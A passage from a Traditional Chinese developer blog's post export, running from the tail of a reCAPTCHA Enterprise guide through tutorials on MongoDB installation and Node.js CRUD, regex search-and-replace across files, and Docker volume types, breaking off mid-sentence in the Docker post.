就是在判斷怎樣的分數允許通過驗證，基本上分數只會介於 0.0 ~ 1.0 之間，共 11 個等級。但在尚未通過 Google Security Review 的前提下，預設只會有 0.1、0.3、0.7 與 0.9 這四個等級，所以建議 Score 結果的判斷式不要用 == 來寫，用 \u0026lt;、\u0026lt;= 或 \u0026gt;、\u0026gt;= 才是比較正確的寫法！\n最後要使用就很簡單了，以下是一個簡單的 Action 使用範例 1 2 3 4 5 6 7 8 9 10 11 12 13 [HttpPost] [ValidateAntiForgeryToken] public async Task\u0026lt;IActionResult\u0026gt; Index([FromForm] ContactViewModel model) { if (await createAssessmentAsync(model.RecaptchaToken)) { return NoContent(); } else { return BadRequest(); } } 總結 整合 Google 的 reCAPTCHA Enterprise 實在太多雷了，這對 Google Cloud Platform 不太熟悉的人來說，整合起來著實有不小的門檻，本文這麼多步驟，要是我不記錄下來，過一段時間我肯定又忘記了！😅\n我來重新總結一下整個開發過程：\n先到 Google Cloud console 建立 reCAPTCHA keys\n你可能需要建立一個新專案，並啟用 reCAPTCHA Enterprise API 服務，然後才能建立 reCAPTCHA keys。 每個 GCP 上面的新專案，都需要個別手動啟用 API 服務。如果你選用先前建立過的專案，且 reCAPTCHA Enterprise API 服務已經啟用過，那就不需要再次啟用。\n安裝 reCAPTCHA keys 到網頁上 (前端 JavaScript 為主)\n這邊需要寫一點點 JavaScript 才能將 token 回寫到表單上，幫助前端將 token 送回後端評估。\n從後端評估前端送來的 token (回應值) 是否有效\n你必須建立一個 GCP 上的 Service Account (服務帳戶)，並賦予 reCAPTCHA Enterprise Agent 角色。然後為這個 Service Account 建立一把 key (私密金鑰) 才能組成一個 Credential (身分認證資訊) 讓應用程式使用，然後用這份 Credential 跟 reCAPTCHA Enterprise API 通訊，取得 Assessment (評估) 結果，然後依據 Score (分數) 判斷是否為真人的流量，通常這個 Score (分數) 只要大於等於 0.7 通常就意味著可信度夠高。\n另外，我想補充說明的是，reCAPTCHA Enterprise 有每月 100 萬次免費使用額度，這些次數主要是「後端」對 reCAPTCHA Enterprise API 發送驗證 Assessment (評估) 的次數，對許多網站來說，這個數量應該是綽綽有餘了，所以我才考慮直接使用這個服務。\n","date":"2023-02-07T00:00:00Z","image":"https://live.staticflickr.com/65535/52674631510_d9525c3729_o.png","permalink":"https://blog.wayne-project.com/2023-02-07/dotnet-core-google-recaptcha/","title":"ASP.NET Core 網站如何整合 Google 的 reCAPTCHA Enterprise 功能"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n參考網站\n資料庫的連結對於網頁是不可或缺的，無論是 MongoDB 或是 Django，這種 NoSQL 的資料庫構建套件都十分的受程式設計師的歡迎，由於其不用再去學 SQL 格外的構築語法，NoSQL 就成為了廣為人知的開源資料庫，最近專案正好使用到 MongoDB，本篇來介紹一下 MongoDB、MongoDB 的安裝方式，以及使用 Node.js 串接 MongoDB 的 CRUD。\nMongoDB 資料庫簡介 MongoDB\nMongoDB 是什麼？ MongoDB 是一種文件導向資料庫管理系統，由 C++ 撰寫而成，是一個以分散式檔案儲存為基礎的資料庫，旨在 Web 應用提供可擴充的高性能資料儲存解決方案。\n它是 10gen 開發的 NoSQL (Not only SQL - 不只有 SQL)。 不是關聯式資料庫，沒有 Schema。 它是用來處理巨量資料的資料庫，這個資料庫是以文件導向儲存(Document Oriented Storage)的資料庫，以 key:value 表示，儲存格式與 JSON 完全一樣。 簡潔的文件模型。 容易水平擴展。 三層式的結構： 資料庫(Database) 集合(Collection) 文件(Document) MongoDB 的層級架構 MongoDB 世界的層級觀念，分別由大而小：\nDatabase (資料庫)： 資料庫，儲存所有「表」跟資料的地方，在一個 MongoDB 伺服器中通常會有一至多個 Database，通常將不同的應用放在不同 database 中。\nCollection (集合)： 就是資料表，概念好比關聯式資料庫的 Table。通常一個 databse 中會有數個 collection。\nDocument (文件)： 就是一筆資料，概念就如同關聯式資料庫的 Row。通常一個 collection 中會有數筆 document。也因此我們稱 MongoDB 是 document database。\nMongoDB 資料 v.s. 關聯式資料庫 關聯式資料庫(RDBMS) MongoDB Database Database Table Collection Tuple/Row Document Column Field Table Join Embedded Documents Primary Key Primary Key (如果沒有設定，mongodb會自動給予 預設主鍵值 _id 欄位) BSON？ BSON 就是 JSON 格式的 key-value 組合，採用 JSON 的二進位表示。\nMongoDB 在儲存資料時，都必須採用 BSON 格式做處理。\n使用 BSON 的優點包含：\n在空間儲存上較有效率 有更多 type（資料格式） 可以使用：如 ObjectId、Regular Expression、Timestamp 等，都是 BSON 支援的格式 我們以網站結構範例來示範：\n會員資料 1 2 3 4 5 6 7 8 9 { \u0026#34;email\u0026#34;: \u0026#34;jddj4541@gmail.com\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;54875487\u0026#34; }, { \u0026#34;email\u0026#34;: \u0026#34;jddj4541@gmail.com\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;54875487\u0026#34; }, ... 因為 MongoDB 的 schemeless 特性，當我們突然想為其中一個 user 紀錄手機，只需要在那個 user 的 document 中加入「手機」這個新欄位就行，其他 user 完全不受影響。\n會員資料 1 2 3 4 5 6 7 8 9 10 { \u0026#34;email\u0026#34;: \u0026#34;jddj4541@gmail.com\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;54875487\u0026#34; }, { \u0026#34;email\u0026#34;: \u0026#34;jddj4541@gmail.com\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;54875487\u0026#34;, \u0026#34;phone\u0026#34;: \u0026#34;0912345678\u0026#34; }, ... 實際上 BSON 支援的 type 有很多，這邊我們再舉一個包含多種 type 的 document 當作範例：\n1 2 3 4 5 6 7 8 9 10 11 { \u0026#34;_id\u0026#34;: ObjectId(\u0026#34;5099803df3f4948bd2f98391\u0026#34;), // _id 屬性是 ObjectId，常作為主鍵 \u0026#34;name\u0026#34;: { \u0026#34;first\u0026#34;: \u0026#34;Alan\u0026#34;, \u0026#34;last\u0026#34;: \u0026#34;Turing\u0026#34; }, // name 屬性是 object \u0026#34;email\u0026#34;: \u0026#34;jddj4541@gmail.com\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;54875487\u0026#34;, \u0026#34;phone\u0026#34;: \u0026#34;0912345678\u0026#34;, \u0026#34;birth\u0026#34;: new Date(\u0026#39;Jun 23, 1912\u0026#39;), // bitrh 屬性是日期 \u0026#34;death\u0026#34;: new Date(\u0026#39;Jun 07, 1954\u0026#39;), \u0026#34;contribs\u0026#34;: [ \u0026#34;Turing machine\u0026#34;, \u0026#34;Turing test\u0026#34;, \u0026#34;Turingery\u0026#34; ], \u0026#34;views\u0026#34;: NumberLong(1250000) } 在 Windows 上安裝 MongoDB 在安裝前，我們先來確認 Windows 版本。\n在終端機輸入，並執行：\n1 2 3 4 wmic os get osarchitecture \u0026gt; OSArchitecture \u0026gt; 64-bit # 顯示出所用的 OS 是哪一種結構。 接著，我們去 MongoDB Downlad Center 下載所需套件：\n下載後，可以參考 Install on Windows 我們就依此文件，做以下的操作：\n安裝流程 Step 1. Step 2. Step 3. 可以選 Custom 安裝，這裡就可以設定安裝的路徑。 Step 4. 系統預設是安裝在 C:\\Program Files\\MongoDB\\Server\\6.0\\ 那我們這裡就依照官方的，不改。 Step 5. Step6. 完成 Bonus(一)： 下載 mongosh.exe 前往安裝目錄下 /bin 目錄中，會發現沒有 mongo.exe 檔案，原因在於：MongoDB 6.0 以後做出了重大改變，已經不再預設為你安裝 shell 工具，因此需要安裝一個額外的 shell：Install mongosh \u0026ndash; MongoDB Shell，這個工具被稱為 mongosh。\n前往頁面下載 mongosh.exe，下載後將解壓縮出來的 bin 資料夾內的檔案，複製到安裝目錄下 /bin 目錄中。\n直接點擊 mongosh.exe 即可進入 MongoDB shell 界面。\nBonus(二)： \u0026ldquo;mongo\u0026rdquo; 不是內部或外部命令 要執行 MongoDB Shell，還需要回到 /bin 目錄底下，無法在任意地方執行 MongoDB Shell，原因：環境變數未設定。\n設定步驟：\n\u0026ldquo;開始\u0026quot;選單點選右鍵 -\u0026gt; 系統 -\u0026gt; 進階系統設定。\n點選\u0026quot;進階\u0026rdquo; -\u0026gt; 環境變數。\n系統變數的 Path，點擊\u0026quot;編輯\u0026quot;。\n將 C:\\Program Files\\MongoDB\\Server\\6.0\\bin 加入原本字串後方！\n(新版的 Windows，C:\\... 前面可以不用加分號 ;C:\\...)\n確定後即可在任意地方，啟動你的 MongoDB、MongoDB Shell。 Bonus(三)： 移除 MongoDB 服務 有安裝服務，就也有移除服務，如果你決定要移除 MongoDB 服務，可以在終端機執行：\n1 2 3 \u0026#34;C:\\Program Files\\MongoDB\\Server\\6.0\\bin\\mongod.exe\u0026#34; --remove # or # mongod --remove 執行啟動 MongoDB MongoDB 預設資料庫存放位置是 ${安裝目錄}\\data\\db，所以我們可以建立這樣的資料庫路徑：\n在 C:\\ 以 Command pormpt 執行：\n1 mkdir \\MongoDB\\data\\mydb 接著執行：\n1 cd \u0026#34;C:\\Program Files\\MongoDB\\Server\\6.0\\bin\u0026#34; 目前，我們位在 C:\\Program Files\\MongoDB\\Server\\6.0\\bin \u0026gt;\n輸入：\n1 mongod --dbpath c:\\MongoDB\\data\\db 啟動同時，指定資料庫存放位置！\n接著，出現像這樣的畫面，表示 MongoDB 已經正常啟動了！\n你就可以開始使用了！\n可以參考一些文件 Getting Started 來做測試。\nNote： 關於資料庫存放位置，其實可以自己設定好一個資料夾位置，指定過去就好囉！不限於一定得在 \\data\\db 之下！\n使用 MongoDB Shell 連線資料庫 資料庫啟動以後，我們開啟另一個終端機執行：\n1 2 mongosh # .exe 可以不用 啟動 MongoDB Shell 環境，當我們看到如圖畫面，代表連線 MongoDB 成功：\n查看與使用資料庫 我們可以做一些簡單的查詢，比方 show dbs 可以看到底下有哪些資料庫。\n要使用資料庫 TestDB，可以用 use TestDB\n如圖：\n關閉資料庫 離開 MongoDB Shell，使用 exit 關閉 MongoDB 服務、關閉資料庫、中斷連線，在 admin 資料庫下，使用 db.shutdownServer() 觀看指令資料庫裡面的集合 1 show collections 新增一筆資料 inserOne 1 2 3 db.rooms.insertOne( { name: \u0026#34;單人房\u0026#34;, price: 1000, rating: 4.5 } ) 新增多筆資料 insertMany 1 2 3 4 5 6 db.rooms.insertMany( [ { name: \u0026#34;豪華單人房\u0026#34;, price: 1500, rating: 4.3 }, { name: \u0026#34;雙人房\u0026#34;, price: 2000, rating: 4.8 }, ] ) 尋找集合裡面的資料 1 db.collections.find() 一般搜尋： db.\u0026lt;集合名稱\u0026gt;.find() 尋找對應屬性：db.collections.find({屬性名稱:屬性值}) 模糊搜尋：db.rooms.find({\u0026quot;name\u0026quot;:/雙/}) 數值區間：db.collections.find({屬性名稱:{$lte:400}}) 複合條件：db.collections.find({屬性名稱:{$lte:400},rating:{$gte:4.8}}) 常用語法： project 保護欄位：db.rooms.find({\u0026quot;name\u0026quot;:/雙/},{\u0026quot;_id\u0026quot;:0}) 搜尋陣列裡面的值：db.rooms.find({\u0026quot;payment\u0026quot;:{$in:[\u0026quot;信用卡\u0026quot;]}} 運算子 說明 $eq 等於 $gt 大於 $lt 小於 $gte 大於等於 $lte 小於等於 $in 存在某個值 $nin 不存在某個值 or 或 and 與 舉個例子：\n1 2 3 4 5 6 7 8 db.rooms.find( { $and: [ { price: { $lte:1500 } }, { rating: { $gte:4.5 } } ] } ) 修改(updateOne) updateOne replaceOne() 只能替換整個文件；updateOne() 允許更新欄位。\n1 2 3 4 5 6 7 8 db.rooms.updateOne( { \u0026#34;_id\u0026#34;: ObjectId(\u0026#34;621edf99a20aa7506a116f9a\u0026#34;) }, { $set: { name: \u0026#34;修改雙人房\u0026#34; } } ) 修改多個值 修改多個值 updateMany(filter 篩選 \u0026gt; $set 更換設定)\n1 2 3 4 db.rooms.updateMany( { rating: { $gt:4.5 } }, { $set: { price:300 } } ) 替換整個文檔：replaceOne、replaceMany 1 2 3 4 5 6 7 db.collection.replaceOne(filter, replacement, options) -- 舉個例子： db.rooms.replaceOne( { \u0026#34;_id\u0026#34;: ObjectId(\u0026#34;621edf99a20aa7506a116f9a\u0026#34;) }, { name: \u0026#34;yes~\u0026#34; } ) 刪除多個文件：deleteMany(filter) 1 2 3 db.rooms.deleteMany( { rating: { $gte:4.3 } } ) 資料集結購 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 [ { \u0026#34;rating\u0026#34;: 4.5, \u0026#34;price\u0026#34;: 1000, \u0026#34;name\u0026#34;: \u0026#34;標準單人房\u0026#34;, \u0026#34;payment\u0026#34;: [\u0026#34;信用卡\u0026#34;,\u0026#34;ATM\u0026#34;] }, { \u0026#34;rating\u0026#34;: 4.3, \u0026#34;price\u0026#34;: 1500, \u0026#34;name\u0026#34;: \u0026#34;豪華單人房\u0026#34;, \u0026#34;payment\u0026#34;: [\u0026#34;信用卡\u0026#34;,\u0026#34;ATM\u0026#34;] }, { \u0026#34;rating\u0026#34;: 4.8, \u0026#34;price\u0026#34;: 2000, \u0026#34;name\u0026#34;: \u0026#34;標準雙人房\u0026#34;, \u0026#34;payment\u0026#34;: [\u0026#34;信用卡\u0026#34;,\u0026#34;ATM\u0026#34;] }, { \u0026#34;rating\u0026#34;: 4.7, \u0026#34;price\u0026#34;: 2500, \u0026#34;name\u0026#34;: \u0026#34;豪華雙人房\u0026#34;, \u0026#34;payment\u0026#34;: [\u0026#34;ATM\u0026#34;] }, { \u0026#34;rating\u0026#34;: 4.0, \u0026#34;price\u0026#34;: 3000, \u0026#34;name\u0026#34;: \u0026#34;標準四人房\u0026#34;, \u0026#34;payment\u0026#34;: [\u0026#34;現金\u0026#34;] }, { \u0026#34;rating\u0026#34;: 3.5, \u0026#34;price\u0026#34;: 10000, \u0026#34;name\u0026#34;: \u0026#34;總統套房\u0026#34;, \u0026#34;payment\u0026#34;: [\u0026#34;現金\u0026#34;] } ] 查詢指令使用，好用的 help 配置 MongoDB 服務 如果，我們想要將操作 MongoDB 的記錄，寫進 log 裡。\n我們先建立一個放置 log 的資料夾，為了有規律的放置檔案：\nC:\\MongoDB\\data\\db 放置 database C:\\MongoDB\\data\\log 放置 log 所以，建立一個資料夾 log\n1 2 # 於 C:\\MongoDB\\data 下 mkdir log 接著，我們要建立一個 config 檔案，它是 MongoDB 的配置檔，內容可以配置 db 路徑(storage.dbPath)及 log 寫入檔案(systemLog.path)。\nC:\\MongoDB\\data\\log\\mongod.cfg 1 2 3 4 5 6 7 8 9 10 11 12 13 storage: dbPath: C:\\MongoDB\\data journal: enabled: true systemLog: destination: file logAppend: true path: C:\\MongoDB\\data\\log\\mongod.log net: port: 27017 bindIp: 127.0.0.1 接著，我們以系統管理員身份啟動終端機\n1 2 # 安裝設定(cfg 檔位置必須為絕對路徑，否則會報錯) mongod --config \u0026#34;C:\\MongoDB\\data\\log\\mongod.cfg\u0026#34; --install 接著，我們就可以直接在任意位置，以簡單的方式，啟用服務，而不用每次啟動，都要指向資料庫位置。\n不再用 mongod –dbpath C:\\MongoDB\\data\\db 這一長串東西。\n啟用服務：\n1 net start MongoDB 停用服務：\n1 net stop MongoDB 如圖：\n每執行服務，都會寫一次 log 檔，在我們當初配置的資料夾。\n以上，我們已經完成了 MongoDB 的安裝與執行，再來說明使用 Node.js 串接 MongoDB 做 CRUD。\nNode.js 串接 MongoDB 做 CRUD 這邊先著重 Node.js 概括的學習，閒有餘力，再深入 MongoDB。\n關於 MongoDB 比較基礎且重要的，可以先參考：\nMongoDB CRUD Operations\n它裡面教你如何在 MongoDB 裡新增、讀取、更新、刪除的基本資料操作。\n這邊我直接參考 access-mongodb-in-nodejs 完成此篇這一系列的 Node.js 學習。\n那我們開始吧！\nNPM 安裝 MongoDB driver 我們需要安裝 mongodb-driver，在終端機輸入：\n1 2 3 npm install mongodb -g cd myapp npm install mongodb --save 我們打開 package.json 看，安裝了 mongodb: \u0026quot;5.0.0\u0026quot; (注意，這裡安裝的是 driver，不是 MongoDB 喔！)\n啟動 MongoDB Server 接著，我們要啟動我們的 MongoDB Server，可在終端機輸入：\n1 2 3 # 也可以直接在 myapp 裡建一個測試的數據資料庫存放位置 mkdir testdb mongod --dbpath c:\\myapp\\testdb 或是，如果已經設定好 config 的 MongoDB service，那就直接使用：\n1 net start mongodb 註：這邊可能要用系統管理員身份執行終端機才可以正確執行！\nNode.js 連接 MongoDB mockserver.js 1 2 3 4 5 6 7 8 9 let MongoClient = require(\u0026#39;mongodb\u0026#39;).MongoClient; // Connect to the db MongoClient.connect(\u0026#34;mongodb://localhost:27017/mymondb\u0026#34;, function(err, db) { if(err) throw err; // Write databse Insert/Update/Query code here.. console.log(\u0026#39;mongodb is running!\u0026#39;); db.close(); // 關閉連線 }); 這個例子裡，我們載入 MongoDB module，並且使用 MongoClient 物件。\n接著，使用 MongoClient.connect() 方法，以取得 MongoDB 資料庫的引用。\n其中，URL 的部份，\u0026quot;mongodb://localhost:27017/mymondb\u0026quot;，指向你之前指定的 MongoDB 資料夾位置 C:\\myapp\\testdb。\nconnect() 方法，會回應一個 database 參考 ，如果所描述的 database (這裡的例子叫做 mymondb) 存在，就連線；無就自動新增。\n我們來看看，以上例子，如果有成功連線時的執行結果：\n當我們建立了 Node.js 與 MongoDB 連線後，可以使用 connect() 裡的回呼函式其 DB 參數，開始做一些新增Insert(Create)、更新Update、查詢Query(Retrieve/Read)、刪除Delete 資料的動作。\n新增(Insert/Create)資料 現在，我們來為我們的資料庫新增一些資料。\nmoncreate.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 let MongoClient = require(\u0026#39;mongodb\u0026#39;).MongoClient; MongoClient.connect(\u0026#34;mongodb://localhost:27017/mymondb\u0026#34;, function(err, db) { if(err) throw err; //Write databse Insert/Update/Query code here.. db.collection(\u0026#39;Persons\u0026#39;,function(err, collection) { collection.insert({ id:1, firstName:\u0026#39;Steve\u0026#39;, lastName:\u0026#39;Jobs\u0026#39; }); collection.insert({ id:2, firstName:\u0026#39;Bill\u0026#39;, lastName:\u0026#39;Gates\u0026#39; }); collection.insert({ id:3, firstName:\u0026#39;James\u0026#39;, lastName:\u0026#39;Bond\u0026#39; }); collection.count(function(err, count) { if(err) throw err; console.log(\u0026#39;Total Rows:\u0026#39; + count); }); }); db.close(); // 關閉連線 }); 在這個例子中，我們用 db.collection 方法去新增並且獲取 collections 的一些資訊，如總筆數。\n別忘了，在介紹 MongoDB 與關聯式資料庫的關係時，我們知道 collection 其實就是 table。\n而這個例子裡，我們在 mymondb 資料庫 建立了一個 Persons - collection(資料表)，並且，為這 Persons 資料表新增了 3 筆資料，我們在這裡叫 documents (列)。\n結果如圖：\n我們也可以使用 Mongo Shell，查詢：\n更新(Update)資料 做完了新增，如果我們想要更新其中 id == 1 的資料。\nmonupdate.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 let MongoClient = require(\u0026#39;mongodb\u0026#39;).MongoClient; MongoClient.connect(\u0026#34;mongodb://localhost:27017/mymondb\u0026#34;, function(err, db) { db.collection(\u0026#39;Persons\u0026#39;,function(err, collection) { // collection.update // 第一個參數是要更新的條件 // 第二個參數 $set:更新的欄位及內容 // 第三個參數 writeConcern // 第四個參數執行 update 後的 callback 函式 collection.update( { id: 1 }, { $set: { firstName: \u0026#39;James\u0026#39;, lastName: \u0026#39;Gosling\u0026#39;} }, { w: 1 }, function(err, result) { if(err) throw err; console.log(\u0026#39;Document Updated Successfully\u0026#39;); } ); }); db.close(); // 關閉連線 }); 我們在終端機執行 node，並且在 Mongo Shell 可以看到更新前與更新後的資料，如圖：\n關於第三個參數 - writeConcern 這個網站有詳細說明，可以去參考看看，我們這裡使用，常用的 {w:1} 即可，不用也沒差！\n刪除(Delete)資料 現在，我們想要刪除 id == 2 的 Document(Row)。\nmondelete.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 let MongoClient = require(\u0026#39;mongodb\u0026#39;).MongoClient; MongoClient.connect(\u0026#34;mongodb://localhost:27017/mymondb\u0026#34;,function(err, db) { db.collection(\u0026#39;Persons\u0026#39;, function(err, collection) { collection.remove( { id: 2 }, { w: 1 }, function(err, result) { if(err) throw err; console.log(\u0026#39;Document Removed Successfully!\u0026#39;); } ); }); db.close(); // 關閉連線 }); 我們在終端機執行 node，並且在 Mongo Shell 可以看到刪除前與刪除後的資料，如圖：\n查詢(Query)資料 維持 Persons 新增後的狀態！即原本的3筆！現在，我們想要找 firstName == \u0026ldquo;Bill\u0026rdquo;。\nmonquery.js 1 2 3 4 5 6 7 8 9 10 11 12 let MongoClient = require(\u0026#39;mongodb\u0026#39;).MongoClient; MongoClient.connect(\u0026#34;mongodb://localhost:27017/mymondb\u0026#34;, function(err, db) { db.collection(\u0026#34;Persons\u0026#34;, function(err, collection) { collection.find({ firstName: \u0026#34;Bill\u0026#34; }).toArray(function(err, items) { if(err) throw err; console.log(items); console.log(\u0026#34;We found \u0026#34; + items.length + \u0026#34; results!\u0026#34;); }); }); db.close(); // 關閉連線 }); 我們在終端機執行 node，可以看到被擷取出來的結果，如圖：\n!!重要!!\n關於更多 Collection 的操作，可以參考：Collection Methods，特別在使用查詢 find，有不同於以往 SQL 的使用語法。\n","date":"2023-02-06T00:00:00Z","image":"https://live.staticflickr.com/65535/52672489703_b6b8a40a1a_o.jpg","permalink":"https://blog.wayne-project.com/2023-02-06/nodejs-using-mongodb/","title":"使用 Node.js 串接 MongoDB (含CRUD)"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n參考網站\n在整理開發環境的時候，經常會有批次調整檔案內容的需求，我今天特別整理了 3 種不同的解決方案，這些方法都可以看情況使用！\nLinux / WSL 在 Linux 環境下使用 find 與 sed 幾乎是標準方案，這套組合拳確實快速又強大！👍\n1 find src -name \u0026#39;*.ts\u0026#39; -type f -exec sed -i \u0026#39;s/pattern\\([s]\\)/replacement\\1/g\u0026#39; \u0026#39;{}\u0026#39; \\; 透過 sed 來取代內容的話，在 Regex 語法上稍微有點不同，左邊的小括弧要加上反斜線跳脫 ( \\( 或 \\) )，而 backreference 也要用反斜線來表達 ( \\1、\\2、\u0026hellip; )\nWindows (PowerShell) 在 Windows 上面使用 PowerShell 來寫腳本，可讀性會比較好！\n1 2 3 4 5 6 7 8 9 10 Get-ChildItem -Path \u0026#39;src\u0026#39; -Include \u0026#39;*.ts\u0026#39; -Recurse -Exclude reparsepoint | ForEach-Object { $current_file = \u0026#34;$($_.FullName)\u0026#34; $replace_file = \u0026#34;$($_.FullName).new\u0026#34; # 這裡 Get-Content 前後的小括弧很重要，一定要加上才能得到 String 的結果，指定 utf8 編碼也十分重要！ (Get-Content -LiteralPath $current_file -Encoding utf8) -replace \u0026#39;pattern([s])\u0026#39;, \u0026#39;replacement$1\u0026#39; | Out-File -Encoding utf8 -LiteralPath $replace_file Move-Item -LiteralPath $replace_file -Destination $current_file -Force } Node.js 如果我們要在前端專案中整合字串取代的工作，在 package.json 的 scripts 直接取代檔案，同時又要兼顧跨平台的話，採用既有的 npm 套件就會來的方便許多。這裡我找了個 replace-in-file 套件還不錯！👍\n先安裝到專案中： 1 npm install -D replace-in-file 取代內容可以這樣寫，也可以使用超好用的 Glob 語法(e.g. src/**/*.ts)： 1 npx replace-in-file \u0026#34;/pattern([s])/g\u0026#34; \u0026#34;replacement$1\u0026#34; src/**/*.ts --isRegex --encoding=utf-8 ","date":"2023-02-03T00:00:00Z","image":"https://live.staticflickr.com/65535/52666393963_8b2453a1b5_o.jpg","permalink":"https://blog.wayne-project.com/2023-02-03/replace-using-regex-in-3-ways/","title":"3 種使用 Regex 正則表達式對資料夾中的文字檔進行搜尋與取代的方法"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n參考網站\n參考網站\n前言 在預設的 Docker daemon 下，我們常會遇到幾種情況：\n當該容器不再存在時，數據將不會持久保存，並且如果另一個 Process 需要它，則可能很難從容器中取出數據。 容器的可寫層與運行容器的主機緊密耦合。您不能輕易地將數據移動到其他地方。 寫入容器的可寫層需要 存儲驅動程序來管理文件系統。存儲驅動程序使用 Linux 內核提供聯合文件系統。與使用直接寫入主機文件系統的數據卷相比，這種額外的抽象降低了性能。 Container 是在 Image 之上去創建的，Container 可以讀寫數據，而 Image 只能夠讀取，但是 Container 裡面所寫入的數據，只會存在 Container 裡面，如果刪除 Container，寫入的數據會全部消失。有一種需求，資料庫的 Container 會有數據的讀寫，在這種情況下，Docker 就需要數據持久化。\n為了解決這些問題就誕生了 Docker Volume。\nContainer 裡面會有一個 Program，把檔案寫入 File System，這些檔案會存在 Container 的 Layer 中，我們把數據的部分，額外 Mount 一個 Volume，這樣一來，數據就會被永久保存；每個 Container 都是獨立且封閉的，但有時候我們會想要不透過進入 Container 就能改變內部的程式碼，或者是想要進行 Database 升級並保留原本資料，這時就需要Docker Volume 了。\nDocker 持久化數據的方案：\n基於本地文件系統的 Volume：可以在執行 docker create 或是 docker run 的時，通過 -v 參數將主機目錄作為 Container 的 Volume，這部分功能便是基於本地系統的 Volume 管理。 基於外掛的 Volume：支持第三方的儲存方案，例如：AWS。 談到 Docker 容器的資料儲存(storage)問題，基本直覺就是透過掛載 Volumes，不過 Docker 的 Volumes 其實有 3 種不同類型(types)：\ntmpfsMount：主機的 memory。 BindMount：可以為主機路徑下任何地方。 Volume：Container 將 Volume 存放在 Docker area，以 Linux 來說預設為 /var/lib/docker/volume。 大家常用的 -v \u0026lt;Host 路徑\u0026gt;:\u0026lt;Container 路徑\u0026gt; 參數其實就是使用 BindMount，例如以下指令：\n1 docker run -it -v /home/user:/data debian /bin/bash 簡而言之，使用 BindMount 的 volume 其實就是透過 host machine 的檔案系統(filesystem)提供容器儲存的能力。\ntmpfsMount 不同於 Volume、BindMound，tmpfsMount 不需要實體路徑將資料儲存，他是暫時性地儲存在主機的記憶體當中，當 Container 停止時，就會移除資料，通常用來儲存暫存性資料以及敏感資料。\n如何使用 tmpfsMount？ 1 docker run --name \u0026lt;ContainerName\u0026gt; -d --mount type=tmpfs,destination=\u0026lt;內部路徑\u0026gt; -p 8100:8100 \u0026lt;ImageName\u0026gt; 舉個例子：\n1 docker run --name \u0026lt;ContainerName\u0026gt; -d --tmpfs \u0026lt;內部路徑\u0026gt; -p 8100:8100 \u0026lt;ImageName\u0026gt; BindMount BindMount 就是做映射 docker run -v /home/aaa:/root/aaa，可以將本地目錄和 Container 目錄做映射，如果本地目錄修改，Container 的數據內容也會修改，反之亦然。\n如何使用 BindMount？ 舊版本 Window 版的坑\nwindow 版不能直接掛載，要先調一下設定。\n選擇要掛載的目錄 打開 Docker Desktop General \u0026gt; share dirve 掛載相應路徑，該路徑底下的資料夾才能被掛載 新版本 window desktop 可以直接掛載，指令：\n1 docker run -v \u0026lt;外部絕對路徑\u0026gt;:\u0026lt;內部路徑\u0026gt; \u0026lt;ImageName\u0026gt; 舉例來說，我在 windows 電腦 //e/program/Wayne/DockerExample 底下放了 index.html，要映射給 /usr/local/apache2/htdocs：\n1 docker run -it -d --name Web_Vol -p 8081:80 -v //e/program/Wayne/DockerExample:/usr/local/apache2/htdocs httpd:2.4 現在在外部修改就能直接影響到 Container 內部了。\n當使用 -v 在掛載路徑時，若該路徑不存在於本機，則會建立該路徑，如果將綁定到容器上的目錄不為空，那目錄現有的內容會被綁定的目錄給遮蓋。\nVolume Volume 的優點 前文簡單介紹 BindMount 後，接著來認識 Docker 官方更為推薦的 Volume 吧。\nVolume 與 BindMount 最大的不同在於 Volume 是由 Docker 全權進行管理，因此 Volume 比起 BindMount 有幾個優點：\nVolumes 更好轉移(migration)與備份(backup)。 Volumes 能夠透過 Docker API 與 Docker CLI 進行管理與操作。 Volumes 可跨平台(Linux, Windows)。 Volumes 在 macOS 與 Windows 上效能表現較好。 Volumes 更加適合多個容器(Container)共享使用的情境。 Volumes 提供整合遠端或雲端儲存服務的能力（詳見 Docker plugin），只要使用不同的 Volume driver 即可，例如可以安裝 vieux/sshfs plugin 掛載遠端 SSH 伺服器的檔案系統。 基本上，如果你不知道用 Volume 比較好還是 BindMount 比較好，使用 Volume 就對了！\nMySQL Docker file 裡面有一行，VOLUME /var/lib/mysql 就是將數據存到虛擬主機的目錄，實現數據持久化，讓數據不會因為 Container 消失而消失。\n如何使用 Volumes？ -v or --mount\n創建一個 Volume 1 docker volume create \u0026lt;VolumeName\u0026gt; 可以用 -d 來指定位置\n1 docker volume create \u0026lt;VolumeName\u0026gt; -d \u0026lt;外部絕對路徑\u0026gt; 要是不 -d 指定特定空間，系統會自動幫你生成空間，然而具體會在電腦的哪裡呢？\nWindows 版會在 \\\\wsl$\\docker-desktop-data\\version-pack-data\\community\\docker\\volumes\nLinux 版會在 /var/lib/docker/volumes/\n啟動 Container 並掛載 Volume 到指定路徑 1 docker run --name \u0026lt;ContainerName\u0026gt; -d -v \u0026lt;外部絕對路徑\u0026gt;:\u0026lt;內部路徑\u0026gt; -p 8100:8100 \u0026lt;ImageName\u0026gt; 舉個例子：\n1 docker run -it -v myvolume:/data nginx /bin/bash 進到容器內就可以發現路徑 /data 可以使用：\n1 2 3 4 5 6 root@1630d3b4ffb8:~# touch /data/hello.txt root@1630d3b4ffb8:~# ls -alh /data total 8.0K drwxr-xr-x 2 root root 4.0K Mar 18 15:53 . drwxr-xr-x 1 root root 4.0K Mar 18 15:51 .. -rw-r--r-- 1 root root 0 Mar 18 15:53 hello.txt 如果有在 Volume 內新增任何資料的話，也可以在 Docker Desktop 內看到：\n前文提及 Volume 可以共享，因此可以打開一個新的容器並且掛載同一個 Volume 試試：\n1 2 3 $ docker run -it -v myvolume:/data debian /bin/bash root@12fa2630f490:/# ls /data hello.txt 上述結果可以看到新啟動的容器內不僅有 /data 資料夾，該資料夾底下也有先前在其他容器建立的檔案。\n若想列出所有 